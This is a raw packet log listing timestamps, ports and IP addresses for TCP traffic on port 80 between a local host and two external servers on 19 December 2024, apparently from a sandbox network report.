Dec 19, 2024 08:09:33.008989096 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.009033918 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.009130955 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.009170055 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.010082006 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.010229111 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.010278940 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.010278940 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.011382103 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.011466980 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.011511087 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.012263060 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.012309074 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.012352943 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.012394905 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.013349056 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.013389111 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.013444901 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.013480902 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.014451027 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.014499903 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.014554977 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.014596939 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.015535116 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.015640974 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.015681028 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.016621113 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.016665936 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.016750097 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.016793013 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.017760992 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.017802954 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.017860889 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.017915010 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.018805027 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.018847942 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.018913984 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.018954992 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.019892931 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.020073891 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.020116091 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.021011114 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.021053076 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.021140099 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.021179914 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.056070089 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.056205034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.056505919 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.056560040 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.056577921 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.056670904 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.057419062 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.057688951 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.058355093 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.058407068 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.058433056 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.058840036 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.059253931 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.059384108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.059432983 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.060143948 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.060183048 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.060239077 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.061086893 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.061194897 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.061593056 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.061956882 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.062091112 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.062155962 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.062884092 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.063008070 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.063111067 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.063759089 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.063869953 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.063921928 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.064673901 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.064789057 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.064954042 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.065587044 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.065700054 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.065752983 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.066194057 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.066481113 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.066608906 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.066663980 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.067389965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.067636013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.067692041 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.067717075 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.068598986 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.068674088 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.068711042 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.069499969 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.069518089 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.069547892 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.070333004 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.070395947 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.079760075 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.079838991 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.079915047 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.080184937 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.080271959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.080326080 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.081105947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.081157923 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.081312895 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.082037926 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.082063913 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.082120895 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.083041906 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.083183050 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.083247900 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.083811045 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.083946943 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.084018946 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.084821939 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.084911108 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.085000992 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.143400908 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.143515110 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.143918991 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.144000053 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.144016027 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.144748926 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.144805908 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.144821882 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.145669937 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.145724058 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.145740032 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.145786047 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.146589994 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.146699905 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.146753073 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.147478104 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.147650003 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.147699118 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.148418903 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.148523092 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.148574114 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.149300098 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.149427891 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.149481058 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.150262117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.150316000 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.151000023 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.151133060 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.151230097 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.151443958 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.152048111 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.152154922 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.152242899 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.152939081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.153098106 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.153151989 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.153851986 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.154019117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.154067039 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.154759884 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.154901981 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.154953957 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.155642986 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.159925938 CET	80	49858	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:33.159996986 CET	49858	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:33.168345928 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.232024908 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.232043028 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.232155085 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.232192993 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.232259989 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.232311964 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.233043909 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.233236074 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.233290911 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.233958006 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.233999968 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.234158039 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.234839916 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.234970093 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.235023022 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.235748053 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.235960960 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.236285925 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.236645937 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.236764908 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.236824989 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.237581015 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.237637043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.237700939 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.238481998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.238580942 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.238627911 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.239393950 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.239491940 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.239540100 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.240294933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.240410089 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.240475893 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.241813898 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.241871119 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.241926908 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.242269039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.242440939 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.242782116 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.243093967 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.243179083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.243247032 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.243957996 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.244091034 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.244225025 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.244895935 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.244973898 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.245026112 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.245771885 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.245893002 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.245971918 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.246675014 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.246774912 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.246839046 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.248130083 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.248306990 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.248367071 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.248449087 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.248580933 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.248647928 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.249356985 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.249413013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.249490976 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.250236988 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.250291109 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.250333071 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.251140118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.251194954 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.251322985 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.252094984 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.252120018 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.252171040 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.253030062 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.253113031 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.253177881 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.253838062 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.253931046 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.253990889 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.254750013 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.254857063 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.254899025 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.255673885 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.255733967 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.255775928 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.256577969 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.256695986 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.256741047 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.257456064 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.257673025 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.257718086 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.258358955 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.258438110 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.258790970 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.259300947 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.259383917 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.259426117 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.259936094 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.260015965 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.260113001 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.260802031 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.260926962 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.261176109 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.261708975 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.261795998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.261873007 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.262586117 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.270621061 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.273375988 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.273416042 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.273438931 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.273788929 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.273989916 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.274039984 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.274053097 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.274449110 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.274874926 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.274983883 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.275062084 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.275779963 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.275877953 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.275953054 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.276702881 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.276798010 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.276983023 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.277631998 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.277683973 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.277775049 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.278522015 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.307893038 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.335622072 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.335633039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.335830927 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.335994959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.336127043 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.336177111 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.336941004 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.337070942 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.337140083 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.337821007 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.337899923 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.337946892 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.338743925 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.338854074 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.338901997 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.339622021 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.339764118 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.339817047 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.340578079 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.340687037 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.340734005 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.341454029 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.341542959 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.341619015 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.342381001 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.342508078 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.342693090 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.343280077 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.347801924 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.347830057 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.347861052 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.348305941 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.348357916 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.348481894 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.349148989 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.349208117 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.349251032 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.350064039 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.350121975 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.350152016 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.424150944 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.424180031 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.424232006 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.424381971 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.424423933 CET	49862	80	192.168.2.6	194.87.47.113
Dec 19, 2024 08:09:33.424498081 CET	80	49862	194.87.47.113	192.168.2.6
Dec 19, 2024 08:09:33.425288916 CET	80	49862	194.87.47.113	192.168.2.6
